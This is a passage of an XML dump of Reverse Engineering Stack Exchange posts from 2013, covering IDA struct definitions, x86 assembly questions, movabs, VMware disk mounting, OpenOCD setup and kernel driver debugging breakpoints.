; __stdcall PsGetProcessId(x)&#xA;                  public _PsGetProcessId@4&#xA;                  _PsGetProcessId@4 proc near&#xA;8B FF             mov     edi, edi&#xA;55                push    ebp&#xA;8B EC             mov     ebp, esp&#xA;8B 45 08          mov     eax, [ebp+8]&#xA;8B 80 84 00 00 00 mov     eax, [eax+84h] &amp;lt;-----&#xA;5D                pop     ebp&#xA;C2 04 00          retn    4&#xA;                  _PsGetProcessId@4 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you find out 84 is EPROCESS-&gt;Pid and want to impart this information to the disassembly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make a text file named &lt;code&gt;EPROCESS.h&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;type the following in the text file and save it for accessing it later&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct EPROCESS &#xA;{&#xA;  BYTE unknown[0x84];&#xA;  DWORD Pid;&#xA;} EPROCESS, *EPROCESS;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;go to &lt;code&gt;ida free -&amp;gt;File-&amp;gt;Load File-&amp;gt;Parse Header File&lt;/code&gt; or shortcut &lt;code&gt;ctrl+f9&lt;/code&gt;&#xA;browse to the &lt;code&gt;EPROCESS.h&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should see this is &lt;code&gt;ida information window&lt;/code&gt; on being successful&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The initial autoanalysis has been finished.&#xA;C:\Documents and Settings\Admin\Desktop\EPROCESS.h: `successfully compiled`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;view-&gt;&lt;code&gt;open subviews-&amp;gt;structures&lt;/code&gt; or shortcut &lt;code&gt;shift+f9&lt;/code&gt;&#xA;press &lt;code&gt;insert&lt;/code&gt; key click &lt;code&gt;add standard structure&lt;/code&gt; start typing &lt;code&gt;peb&lt;/code&gt; and you should see the window scrolling and showing you the  structure you just added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 EPROCESS        struc ; (sizeof=0x88, standard type)&#xA;00000000 unknown         db 132 dup(?)&#xA;00000084 Pid             dd ?&#xA;00000088 EPROCESS        ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;go to idaview select &lt;code&gt;84h&lt;/code&gt; / &lt;code&gt;right click-&amp;gt;select structure offset&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and apply the &lt;code&gt;Eprocess.Pid&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;disassembly will become a bit more readable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8B 80 84 00 00 00 mov     eax, [eax+EPROCESS.Pid]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;start adding other discovered offset to this eprocess.h and load it again for updated &#xA;structure definitions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;many of the structures definitions can be viewed via windbg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example peb and peb_ldr_data can be viewed like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dt nt!_PEB&#xA;dt nt!_PEB_LDR_DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additional Details&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you modify the .h file to add another structure member like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct EPROCESS &#xA;{&#xA;  BYTE unknown[0x84];&#xA;  DWORD Pid;&#xA;  BYTE unk2[0xbc-0x88];&#xA;  DWORD DebugPort;&#xA;  BYTE unknown1[0x174-0xc0];&#xA;  BYTE ImageFileName[16];&#xA;} EPROCESS, *PEPROCESS;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be Aware you would need to delete the earlier definitions before parsing the header file again and this implies all your earlier work will be lost on reloading &#xA;so save your work&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-08-11T10:53:35.230" LastActivityDate="2013-08-11T10:53:35.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2617" PostTypeId="1" CreationDate="2013-08-11T01:25:52.320" Score="4" ViewCount="366" Body="&lt;p&gt;How can I edit Windows protected system internal files in VMWARE?&#xA;On a normal PC, I can simply reboot the PC and use a different Operating System to prevent the 'access denied' error... But how do I edit those protected files when inside VMWARE?&lt;/p&gt;&#xA;" OwnerUserId="2624" LastActivityDate="2013-08-15T13:36:25.647" Title="Edit Windows protected systemfiles in VMWARE?" Tags="|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2618" PostTypeId="2" ParentId="2617" CreationDate="2013-08-11T02:24:46.633" Score="6" Body="&lt;p&gt;You can easily map or mount VMWare virtual disk to the host system and access needed files. To quote &lt;a href=&quot;http://pubs.vmware.com/workstation-9/index.jsp?topic=/com.vmware.ws.using.doc/GUID-896E61F5-0865-4D3B-975E-DE476AFC7168.html&quot;&gt;VMWare Workstation 9 Documentation Center&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When you map a virtual disk and its associated volume to a drive on the host system, you can connect to the virtual disk without opening a virtual machine.&#xA;  After you map the virtual disk to a drive on the host system, you cannot power on any virtual machine that uses the disk until you disconnect the disk from the host system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The menu is accessed by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows host: Select File &gt; Map Virtual Disks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Linux host: Select File &gt; Mount Virtual Disks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-08-11T02:31:15.970" LastActivityDate="2013-08-11T02:31:15.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2620" PostTypeId="1" AcceptedAnswerId="2621" CreationDate="2013-08-11T20:43:36.953" Score="4" ViewCount="1660" Body="&lt;p&gt;I am having trouble understanding how this code knows when to stop looping. I am supposed to figure out what values are put into %edi. But I can't figure out how many times it loops.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x40106e      movl   $0x2b,0xffffffdc(%ebp)&#xA;0x401075      movl   $0x31,0xffffffe4(%ebp)&#xA;0x40107c      movl   $0x74,0xffffffec(%ebp)&#xA;0x401083      movl   $0x19,0xffffffe8(%ebp)&#xA;0x40108a      movl   $0x7,0xffffffd8(%ebp)&#xA;0x401091      movl   $0x14,0xffffffe0(%ebp)&#xA;0x401098      mov    $0xdead,%edi&#xA;0x40109d      mov    $0x2,%ecx&#xA;0x4010a2      mov    %ecx,%esi&#xA;0x4010a4      mov    $0x3,%ecx&#xA;0x4010a9      mov    $0x2,%ebx&#xA;0x4010ae      sub    %esi,%ebx&#xA;0x4010b0      imul   $0xc,%ebx,%ebx&#xA;0x4010b3      mov    $0x3,%edx&#xA;0x4010b8      sub    %ecx,%edx&#xA;0x4010ba      lea    0xffffffd8(%ebp),%eax&#xA;0x4010bd      lea    (%ebx,%edx,4),%ebx&#xA;0x4010c0      add    %ebx,%eax&#xA;0x4010c2      mov    (%eax),%edi&#xA;0x4010c4      loop   0x4010a9&#xA;0x4010c6      mov    %esi,%ecx&#xA;0x4010c8      loop   0x4010a2&#xA;0x4010ca      mov    $0xbeef,%edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: I now understand the looping logic. However I am having a hard time following all the values getting moved around. I am stuck here &lt;code&gt;lea    0xffffffd8(%ebp),%eax&lt;/code&gt; &#xA;How do I know what %ebp is?&lt;/p&gt;&#xA;" OwnerUserId="2632" LastEditorUserId="2632" LastEditDate="2013-08-11T21:22:55.540" LastActivityDate="2013-08-11T21:22:55.540" Title="Understanding assembly loop" Tags="|assembly|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2621" PostTypeId="2" ParentId="2620" CreationDate="2013-08-11T20:56:48.207" Score="3" Body="&lt;p&gt;there are 2 loops in the code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x40109d      mov    $0x2,%ecx&lt;br&gt;&#xA;  &lt;strong&gt;&lt;em&gt;0x4010a2&lt;/em&gt;&lt;/strong&gt;      mov    %ecx,%esi&lt;br&gt;&#xA;  0x4010a4      mov    $0x3,%ecx&lt;br&gt;&#xA;  &lt;strong&gt;0x4010a9&lt;/strong&gt;      mov    $0x2,%ebx&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;       first loop&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  0x4010c4      &lt;strong&gt;loop   0x4010a9&lt;/strong&gt;&lt;br&gt;&#xA;  0x4010c6      mov    %esi,%ecx&lt;br&gt;&#xA;       second loop&lt;br&gt;&#xA;  0x4010c8      &lt;strong&gt;&lt;em&gt;loop   0x4010a2&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first goes three times as &lt;strong&gt;3&lt;/strong&gt; was moved into &lt;strong&gt;%ecx&lt;/strong&gt; at 0x4010a4  &lt;/li&gt;&#xA;&lt;li&gt;second loop will go two times as 2 was moved into &lt;strong&gt;%ecx&lt;/strong&gt; at 0x40109d and saved at %esi before %ecx was used further inside the first loop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition here is information about &lt;a href=&quot;http://pdos.csail.mit.edu/6.828/2006/readings/i386/LOOP.htm&quot; rel=&quot;nofollow&quot;&gt;LOOP&lt;/a&gt; opcode  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x4010ba      lea    0xffffffd8(%ebp),%eax&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This mean that %eax got the address from calculating  %ebp+0xffffffd8  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x4010bd      lea    (%ebx,%edx,4),%ebx&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This one is where %ebx = %ebx + %edx * 4&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x4010c0      add    %ebx,%eax&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here %ebx is added to %eax&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x4010c2      mov    (%eax),%edi&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Finally %edi gets the data that %eax points to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_assembly_language&quot; rel=&quot;nofollow&quot;&gt;small asm&lt;/a&gt; reference. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-08-11T21:22:49.170" LastActivityDate="2013-08-11T21:22:49.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2622" PostTypeId="1" CreationDate="2013-08-11T21:32:15.373" Score="3" ViewCount="1150" Body="&lt;p&gt;I know something is happening with the command line arguments but I don't know what. Can someone walk me through this code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x401050    &amp;lt;main&amp;gt;:         push   %ebp&#xA;0x401051    &amp;lt;main+1&amp;gt;:       mov    %esp,%ebp&#xA;0x401053    &amp;lt;main+3&amp;gt;:       sub    $0x8,%esp&#xA;0x401056    &amp;lt;main+6&amp;gt;:       and    $0xfffffff0,%esp&#xA;0x401059    &amp;lt;main+9&amp;gt;:       mov    $0x0,%eax&#xA;0x40105e    &amp;lt;main+14&amp;gt;:      mov    %eax,0xfffffffc(%ebp)&#xA;0x401061    &amp;lt;main+17&amp;gt;:      mov    0xfffffffc(%ebp),%eax&#xA;0x401064    &amp;lt;main+20&amp;gt;:      call   0x4013a0 &amp;lt;_alloca&amp;gt;&#xA;0x401069    &amp;lt;main+25&amp;gt;:      call   0x401430 &amp;lt;__main&amp;gt;&#xA;0x40106e    &amp;lt;main+30&amp;gt;:      mov    $0x0,%edx&#xA;0x401073    &amp;lt;main+35&amp;gt;:      add    0x8(%ebp),%edx&#xA;0x401076    &amp;lt;main+38&amp;gt;:      mov    %edx,%eax&#xA;0x401078    &amp;lt;main+40&amp;gt;:      leave  &#xA;0x401079    &amp;lt;main+41&amp;gt;:      ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is IA32 assembly running on linux&lt;/p&gt;&#xA;" OwnerUserId="2632" LastEditorUserId="2632" LastEditDate="2013-08-11T21:56:25.223" LastActivityDate="2013-08-21T09:24:50.700" Title="What is this assembly code doing with the command line arguments" Tags="|assembly|x86|" AnswerCount="1" CommentCount="1" ClosedDate="2013-08-22T00:31:11.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="2623" PostTypeId="2" ParentId="2617" CreationDate="2013-08-11T22:02:06.780" Score="2" Body="&lt;p&gt;You could also use another operating system, for example boot from a Linux LiveCD and make the changes you want. VMware allows you to use an ISO file directly for the dvd drive, you can do that by going in the hardware settings of your VM, selecting the CD/DVD drive and then selecting the ISO image. Your VM should then boot on the Livecd and you can now do your changes as you normally would.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-08-15T13:36:25.647" LastActivityDate="2013-08-15T13:36:25.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2627" PostTypeId="1" AcceptedAnswerId="2628" CreationDate="2013-08-12T16:00:50.820" Score="32" ViewCount="44634" Body="&lt;p&gt;I just found a strange instruction by assembling (with &lt;code&gt;gas&lt;/code&gt;) and disassembling (with &lt;code&gt;objdump&lt;/code&gt;) on a &lt;code&gt;amd64&lt;/code&gt; architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original &lt;code&gt;amd64&lt;/code&gt; assembly code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov 0x89abcdef, %al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, after &lt;code&gt;gas&lt;/code&gt; compiled it (I am using the following command line: &lt;code&gt;gcc -m64 -march=i686 -c -o myobjectfile myassemblycode.s&lt;/code&gt;), &lt;code&gt;objdump&lt;/code&gt; gives the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a0 df ce ab 89 00 00    movabs 0x89abcdef, %al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that I cannot find any &lt;code&gt;movabs&lt;/code&gt;, nor &lt;code&gt;movab&lt;/code&gt; in the Intel assembly manual (not even a &lt;code&gt;mova&lt;/code&gt; instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am dreaming ? What is the meaning of this instruction ? My guess is that it is a quirks from the GNU binutils, but I am not sure of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I checked precisely the spelling of this instruction, so it is NOT a &lt;code&gt;movaps&lt;/code&gt; instruction for sure.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-08-12T16:41:48.403" LastActivityDate="2023-11-27T14:19:17.300" Title="What is the meaning of movabs in gas/x86 AT&amp;T syntax?" Tags="|x86|amd64|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2628" PostTypeId="2" ParentId="2627" CreationDate="2013-08-12T17:32:13.250" Score="29" Body="&lt;p&gt;Here's the &lt;a href=&quot;http://sourceware.org/binutils/docs/as/i386_002dVariations.html&quot;&gt;official documentation for &lt;code&gt;gas&lt;/code&gt;&lt;/a&gt;, quoting the relevant section:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In AT&amp;amp;T syntax the size of memory operands is determined from the last&#xA;  character of the instruction mnemonic. Mnemonic suffixes of &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;w&lt;/code&gt;,&#xA;  &lt;code&gt;l&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; specify byte (8-bit), word (16-bit), long (32-bit) and&#xA;  quadruple word (64-bit) memory references. Intel syntax accomplishes&#xA;  this by prefixing memory operands (not the instruction mnemonics) with&#xA;  &lt;code&gt;byte ptr&lt;/code&gt;, &lt;code&gt;word ptr&lt;/code&gt;, &lt;code&gt;dword ptr&lt;/code&gt; and &lt;code&gt;qword ptr&lt;/code&gt;. Thus, Intel &lt;code&gt;mov&#xA;  al, byte ptr foo&lt;/code&gt; is &lt;code&gt;movb foo, %al&lt;/code&gt; in AT&amp;amp;T syntax. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In 64-bit code, &lt;code&gt;movabs&lt;/code&gt; can be used to encode the &lt;code&gt;mov&lt;/code&gt; instruction&#xA;  with the 64-bit displacement or immediate operand.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Particularly read the last sentence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Found via Google operator &lt;code&gt;inurl&lt;/code&gt;, searching for &lt;code&gt;movabs inurl:sourceware.org/binutils/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-08-12T17:32:13.250" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2629" PostTypeId="2" ParentId="2627" CreationDate="2013-08-12T17:35:34.903" Score="9" Body="&lt;p&gt;movabs is used for absolute data moves, to either load an arbitrary 64-bit constant into a register or to load data in a register from a 64-bit address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.ucw.cz/~hubicka/papers/amd64/node1.html&quot;&gt;http://www.ucw.cz/~hubicka/papers/amd64/node1.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-12T17:35:34.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2630" PostTypeId="1" CreationDate="2013-08-12T19:06:45.477" Score="-1" ViewCount="873" Body="&lt;p&gt;I followed some reverse engineering tutorials and they got me really interested.&#xA;And I heard that you could make a career out of it, mostly from malware research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... how can I learn about malware research and get a job doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. What are other fields of professional reverse engineering (which aren't malicious) are there?&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="189" LastEditDate="2013-08-13T14:08:04.363" LastActivityDate="2013-08-13T14:08:04.363" Title="Getting started with malware research" Tags="|career-advice|" AnswerCount="1" CommentCount="0" ClosedDate="2013-08-13T00:43:35.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="2631" PostTypeId="2" ParentId="2397" CreationDate="2013-08-12T20:55:25.840" Score="3" Body="&lt;p&gt;I am going to take a stab at answering my own question, and may update the answer in the future with additional details about OpenOCD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some things that I did not understand about the Bus Blaster and there are some things that I did not understand about OpenOCD, and in both cases reading the documentation better would have helped. I ended up compiling OpenOCD from source under Ubuntu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user documentation for OpenOCD is available on the &lt;a href=&quot;http://openocd.sourceforge.net/documentation/&quot; rel=&quot;nofollow&quot;&gt;OpenOCD website&lt;/a&gt;, and the instructions for creating configuration files are located &lt;a href=&quot;http://openocd.sourceforge.net/doc/html/Config-File-Guidelines.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. There are three types of configuration files: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Interface&lt;/em&gt;. This is the configuration file which describes the device OpenOCD is connecting with - in my case, a Bus Blaster. The configuration file &lt;code&gt;busblaster.cfg&lt;/code&gt; is located in the &lt;code&gt;openocd-0.7.0/tcl/interface/&lt;/code&gt; folder. Also, someone described the configuration file online on the &lt;a href=&quot;http://dangerousprototypes.com/docs/Bus_Blaster_OpenOCD_guide&quot; rel=&quot;nofollow&quot;&gt;BusBlaster OpenOCD guide.&lt;/a&gt; OpenOCD version 0.5.0 and older don't include the configuration file for the Bus Blaster.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Board&lt;/em&gt;. This is a configuration file which describes setup particular to the PCB you are connecting to - for example, details about external flash go in this file. &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Target&lt;/em&gt;. These are details about the target processor, in my case a MIPS32 processor. MIPS32 is a variant of MIPS M4K. OpenOCD supports both of these, and the documentation says that MIPS32 is the only supported variant of MIPS M4K. If you allow OpenOCD to autoprobe, which it does if no target is specified, OpenOCD will produce lines like the ones below that describe a new TAP that could be created.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warn : AUTO auto0.tap - use &quot;jtag newtap auto0 tap -expected-id 0x???????? ...&quot;&lt;/code&gt;&#xA;&lt;code&gt;Warn : AUTO auto0.tap - use &quot;... -irlen ?&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the autoprobed TAP lines to create a new target file in &lt;code&gt;openocd-0.7.0/tcl/target&lt;/code&gt;. In addition to those lines, add a line declaring a new target (I borrowed this from another target configuration) specifying which architecture and variant it is when creating the TAP. &lt;/p&gt;&#xA;" OwnerUserId="118" LastEditorUserId="118" LastEditDate="2013-08-12T21:02:36.230" LastActivityDate="2013-08-12T21:02:36.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2632" PostTypeId="1" AcceptedAnswerId="2635" CreationDate="2013-08-12T21:16:13.600" Score="8" ViewCount="2002" Body="&lt;p&gt;Does anyone know of projects that parse the disassembly from IDA Pro using a lexer and/or parser generator library? But I would also totally be fine with JSON or XML format. So far, I have been able to produce HTML from the GUI, but I am looking for a command line tool that will parse disassembly files produced by IDA Pro.   &lt;/p&gt;&#xA;" OwnerUserId="2642" LastEditorUserId="2642" LastEditDate="2013-08-12T21:39:36.130" LastActivityDate="2020-10-16T21:42:55.973" Title="Parsing IDA Pro .asm files" Tags="|disassembly|ida|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2633" PostTypeId="2" ParentId="2630" CreationDate="2013-08-12T21:48:26.680" Score="2" Body="&lt;p&gt;As for getting experience analyzing malware, see the following two posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/23/how-can-i-analyze-a-potentially-harmful-binary-safely&quot;&gt;How can I analyze a potentially harmful binary safely?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;Where can I, as an individual, get malware samples to analyze?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://amzn.com/0321304543&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Art of Computer Virus Research and Defense&lt;/a&gt; is a bit outdated, but at the very least it will give you some history on malware research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for other professional reverse engineering jobs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Vulnerability research and exploit development (consulting, independent research, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Designing and developing anti-reversing technologies (commercial packers, DRM, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Education industry (academia, conference training)&lt;/li&gt;&#xA;&lt;li&gt;Government work&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1812/how-do-i-move-from-rce-being-a-hobby-to-rce-being-a-profession&quot;&gt;How do I move from RCE being a hobby to RCE being a profession?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-08-12T21:48:26.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2634" PostTypeId="2" ParentId="2627" CreationDate="2013-08-12T21:59:46.343" Score="8" Body="&lt;p&gt;If you find yourself often deciphering AT&amp;amp;T syntax x86/x64 assembler, Solaris manuals may be of help: &lt;a href=&quot;https://docs.oracle.com/cd/E53394_01/html/E54851/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86 Assembly Language Reference Manual &lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="21130" LastEditDate="2017-08-06T16:32:34.913" LastActivityDate="2017-08-06T16:32:34.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2635" PostTypeId="2" ParentId="2632" CreationDate="2013-08-13T14:32:05.097" Score="5" Body="&lt;p&gt;You'd be better off using IDC functions like &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/274.shtml&quot; rel=&quot;noreferrer&quot;&gt;GetMnem()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/276.shtml&quot; rel=&quot;noreferrer&quot;&gt;GetOpType()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/277.shtml&quot; rel=&quot;noreferrer&quot;&gt;GetOperandValue()&lt;/a&gt;, etc. to extract IDA's disassembly than exporting to JSON/XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;noreferrer&quot;&gt;command-line switches&lt;/a&gt; to run IDA in batch-mode with your IDC script to automate the entire process.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-08-13T14:32:05.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2636" PostTypeId="2" ParentId="1380" CreationDate="2013-08-13T20:15:13.847" Score="8" Body="&lt;p&gt;An alternative to patching the DriverInit function with an INT3 is to put a breakpoint in the &lt;strong&gt;IopLoadDriver&lt;/strong&gt; function which is responsible for calling DriverInit. On Windows XP SP3, the breakpoint should be added at &lt;strong&gt;IopLoadDriver+0x66a&lt;/strong&gt; which is &lt;code&gt;call    dword ptr [edi+2Ch]&lt;/code&gt; (0x2C is _DRIVER_OBJECT.DriverInit).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find IopLoadDriver with &lt;code&gt;x nt!IopLoadDriver&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a breakpoint at IopLoadDriver+0x66a&lt;/li&gt;&#xA;&lt;li&gt;Load and start your driver&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Offsets for other Windows versions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows 7 Pro SP1 32-bit German: nt!IopLoadDriver+0x7eb&lt;/li&gt;&#xA;&lt;li&gt;Windows 7 Ultimate 64-bit US: nt!IopLoadDriver+0xA04 &lt;/li&gt;&#xA;&lt;li&gt;Windows 10 Pro x64 US: nt!IopLoadDriver+0x51C (Build 10586.420)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(If you have offsets for other versions of Windows, please edit this answer)&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="16052" LastEditDate="2016-07-11T17:31:50.043" LastActivityDate="2016-07-11T17:31:50.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2637" PostTypeId="2" ParentId="1769" CreationDate="2013-08-14T00:10:29.297" Score="1" Body="&lt;p&gt;It's rampant in the microprocessor industry; here are a few sources you might find interesting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techspot.com/article/599-amd-rise-and-fall/&quot; rel=&quot;nofollow&quot;&gt;http://www.techspot.com/article/599-amd-rise-and-fall/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.extremetech.com/extreme/56018-analyst-intel-reverseengineered-amd64&quot; rel=&quot;nofollow&quot;&gt;http://www.extremetech.com/extreme/56018-analyst-intel-reverseengineered-amd64&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.darkreading.com/security/news/222600843&quot; rel=&quot;nofollow&quot;&gt;http://www.darkreading.com/security/news/222600843&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://uvicrec.blogspot.ca/2011/09/understanding-intel-4004.html&quot; rel=&quot;nofollow&quot;&gt;http://uvicrec.blogspot.ca/2011/09/understanding-intel-4004.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2654" LastActivityDate="2013-08-14T00:10:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
